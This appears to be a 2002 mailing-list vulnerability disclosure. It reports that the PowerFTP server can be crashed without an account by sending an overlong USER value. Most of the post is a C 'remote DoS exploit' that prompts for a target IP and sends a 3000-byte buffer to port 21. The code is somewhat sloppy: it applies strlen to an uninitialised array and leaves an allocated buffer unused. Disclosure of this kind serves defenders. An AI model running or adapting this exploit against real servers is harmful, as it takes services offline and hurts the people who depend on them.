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Vulnerabilitie in PowerFTP server
From: Armand Morgan <morgan53 () evhr net>
Date: 5 Oct 2002 12:27:44 -0000



I've found a DoS vulnerability in PowerFTP. He doesn't need an account on 
the server. Just send many information at the variable USER. You could 
see the xploit :

/* Remote DoS Exploit for PowerFTP server (all version) */
/* Coding by Morgan A. member of secureNT-2000 Greetz : */
/* kdm, Yann, GaLiaRepT, and all i've forgotten ;)      */

#include <stdio.h>
#include <winsock.h>
        #pragma comment(lib, "wsock32.lib")

void main()
        {
        WSADATA WSAData;
                WSAStartup(MAKEWORD(2,0), &WSAData);
        
                SOCKET sock;
                SOCKADDR_IN sin;
                char *buffer = new char[255];

        char ip[50];
        printf ("Remote DoS Exploit for PowerFTP server\n\n");
        printf ("Remote IP: ");
        scanf ("%s", &ip);

        char DoS[3000];
        int i;
        for(i=0;i<strlen(DoS);i++)
        {
        DoS[i]= 'A';
        }

        sock = socket(AF_INET, SOCK_STREAM, 0);
        
                sin.sin_addr.s_addr                     = inet_addr(ip);
                sin.sin_family                          = AF_INET;
                sin.sin_port                            = htons(21);

                connect(sock, (SOCKADDR *)&sin, sizeof(sin));
                send(sock, DoS, sizeof(DoS), 0);
                closesocket(sock);
                WSACleanup();
        }


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